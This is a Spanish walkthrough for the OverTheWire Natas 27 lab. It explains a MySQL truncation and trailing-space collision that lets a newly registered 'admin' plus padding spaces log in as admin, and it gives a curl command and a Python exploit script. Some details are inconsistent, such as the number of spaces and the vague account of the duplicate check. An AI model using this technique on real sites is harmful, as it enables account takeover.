Natas Nivel 27 a 28
Nivel oficial: http://natas27.natas.labs.overthewire.org
Este nivel explota un bug sutil de MySQL relacionado con la longitud y el tratamiento de espacios en columnas CHAR/VARCHAR: al registrar un usuario cuyo nombre es admin seguido de suficientes espacios (hasta llenar o exceder la longitud de la columna), MySQL recorta los espacios finales y trata el valor como si fuera admin, colisionando con la cuenta privilegiada ya existente y permitiendo acceder a ella con una contrasena arbitraria.
Este ejercicio se realiza en el entorno de laboratorio legal y autorizado de OverTheWire (https://overthewire.org/wargames/natas/).
Objetivo
Iniciar sesion como el usuario admin sin conocer su contrasena, aprovechando el comportamiento de truncacion y recorte de espacios finales de MySQL en columnas de longitud fija.
Que aprendes
| Concepto / Comando | Para que sirve |
|---|---|
| Trailing-space trimming (MySQL) | MySQL ignora los espacios al final al comparar CHAR/VARCHAR con = |
| Column-length truncation | Al insertar mas caracteres de los que cabe en la columna, MySQL trunca silenciosamente |
| Colision de filas logicas | Dos filas con nombres aparentemente distintos se mapean al mismo usuario logico |
curl con cookies | Mantener sesion HTTP entre peticiones de registro y login |
| Inspeccion de codigo fuente PHP | Leer el index.php expuesto para entender la logica de autenticacion |
Concepto clave: trailing-space trimming y column truncation
En MySQL, cuando una columna es de tipo VARCHAR(n) o CHAR(n):
- Truncacion silenciosa: insertar una cadena mas larga que
ncaracteres hace que MySQL (en modo no estricto) descarte los caracteres sobrantes sin error. - Recorte de espacios finales: las comparaciones con
=ignoran los espacios al final de la cadena. Es decir,'admin ' = 'admin'esTRUEen MySQL.
La combinacion de ambas propiedades crea la vulnerabilidad:
- La columna
usernametiene, por ejemplo, longitud 64. - Si registras
'admin' + ' ' * 60 + 'x'(65 caracteres), MySQL trunca a 64 caracteres:'admin' + ' ' * 59. Eso ya no esadminexacto, pero… - Si registras
'admin' + ' ' * 64(69 caracteres), MySQL trunca a 64:'admin' + ' ' * 59. Al comparar con=, los espacios finales se ignoran y la condicionusername = 'admin'esTRUE. - El codigo PHP no detecta que ya existe un
adminporque la comprobacion de duplicado usa la misma logica de comparacion: buscaadmincon espacios y no lo encuentra en la sesion recien creada (depende de la implementacion), permitiendo el INSERT.
El resultado es que existen dos filas en la tabla que MySQL considera admin, pero el login devuelve los datos de la nueva fila (la tuya, con contrasena conocida).
Paso a paso
1. Leer el codigo fuente
Accede al nivel con las credenciales de natas27 (<pass_natas27>):
http://natas27.natas.labs.overthewire.org
Abre el enlace al codigo fuente (normalmente index.php o el icono de llave en la esquina superior). Localiza:
- El nombre y longitud de la columna
usernameen la tabla (ej.VARCHAR(64)). - La logica de comprobacion de usuario existente antes del INSERT.
- La logica de login (query de SELECT).
Esto te dara el numero exacto de espacios necesarios para truncar hasta admin.
2. Calcular el payload de registro
Si la columna username es VARCHAR(64):
admintiene 5 caracteres.- Necesitas rellenar hasta superar 64:
admin+ 60 espacios = 65 caracteres → MySQL trunca aadmin+ 59 espacios (64 chars). - Al comparar con
=, los espacios finales se ignoran: es logicamenteadmin.
# Calcula cuantos espacios necesitas
python3 -c "col=64; print('admin' + ' '*(col-5+1))"
# => admin + 60 espacios (65 chars; MySQL trunca a 64)3. Registrar el usuario colisionado
Usa curl para enviar el formulario de registro. Sustituye <espacios> por la cadena calculada en el paso anterior (65 o mas espacios tras admin):
curl -s -c cookies.txt \
-d "username=admin%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20&password=hacked&confirm=hacked" \
"http://natas27.natas.labs.overthewire.org/index.php"Nota: los
%20son espacios URL-encoded. Cuenta que sean suficientes para superar la longitud de la columna. Alternativamente, usa un script Python (ver paso 4) para mayor precision.
4. Script Python alternativo (recomendado)
import requests
URL = "http://natas27.natas.labs.overthewire.org/index.php"
CREDS = ("natas27", "<pass_natas27>")
COL_LEN = 64 # ajusta si el codigo fuente indica otro valor
username_payload = "admin" + " " * (COL_LEN - 5 + 1) # supera la longitud por 1
password_payload = "hacked"
session = requests.Session()
session.auth = CREDS
# Paso A: registrar el usuario colisionado
r = session.post(URL, data={
"username": username_payload,
"password": password_payload,
"confirm": password_payload,
})
print("[registro]", r.text[:200])
# Paso B: iniciar sesion con la contrasena que elegimos
r = session.post(URL, data={
"username": "admin",
"password": password_payload,
})
print("[login]", r.text[:500])python3 natas27_exploit.py5. Leer la contrasena de natas28
Tras el login exitoso como admin, la pagina mostrara la contrasena de natas28 (<pass_natas28>). Copiala.
Por que funciona
MySQL, en modo SQL no estricto (STRICT_TRANS_TABLES desactivado), trunca silenciosamente los valores que exceden la longitud de la columna en lugar de lanzar un error. Ademas, las comparaciones de cadenas con = en MySQL ignoran los espacios finales (trailing spaces) por definicion del estandar SQL-92, que MySQL implementa para tipos CHAR y tambien para VARCHAR en comparaciones con =.
La aplicacion PHP comprueba si el usuario ya existe buscando la cadena exacta, pero el INSERT con espacios extra se trunca a admin + espacios, que pasa la validacion. En el momento del login, WHERE username = 'admin' hace match contra ambas filas; la logica de la aplicacion devuelve una de ellas (generalmente la primera, que puede ser la tuya o la original segun el ORDER BY implicito). Si devuelve la tuya, la contrasena hacked es correcta y el login tiene exito como admin.
Aviso: el comportamiento exacto (que fila devuelve el SELECT sin ORDER BY) puede variar. Si el primer intento no funciona, prueba a repetir el registro varias veces o a verificar el codigo fuente para ver si hay un
LIMIT 1y en que orden se obtiene la fila.
Errores comunes
| Error | Causa | Solucion |
|---|---|---|
| El registro falla con “user already exists” | La comprobacion de duplicado detecta el usuario truncado | Aumentar ligeramente los espacios o revisar si la app compara con TRIM; en ese caso la tecnica no aplica directamente |
| El login dice “wrong password” | El SELECT devuelve la fila original de admin, no la tuya | Consulta el codigo fuente: si hay ORDER BY id ASC LIMIT 1, la fila original (id menor) tiene prioridad; intenta registrar el usuario colisionado multiples veces para ocupar mas filas |
curl recorta los espacios | Algunos shells eliminan espacios en argumentos sin comillas | Usa el script Python, que gestiona la cadena correctamente, o URL-encode los espacios como %20 |
| La longitud de columna es diferente | El codigo fuente indica VARCHAR(32) u otro valor | Recalcula: necesitas 5 + (col_len - 5 + 1) caracteres totales; ajusta COL_LEN en el script |
Pasar al siguiente nivel
La contrasena obtenida (<pass_natas28>) se usa para acceder a:
http://natas28.natas.labs.overthewire.org
Usuario: natas28 | Contrasena: <pass_natas28>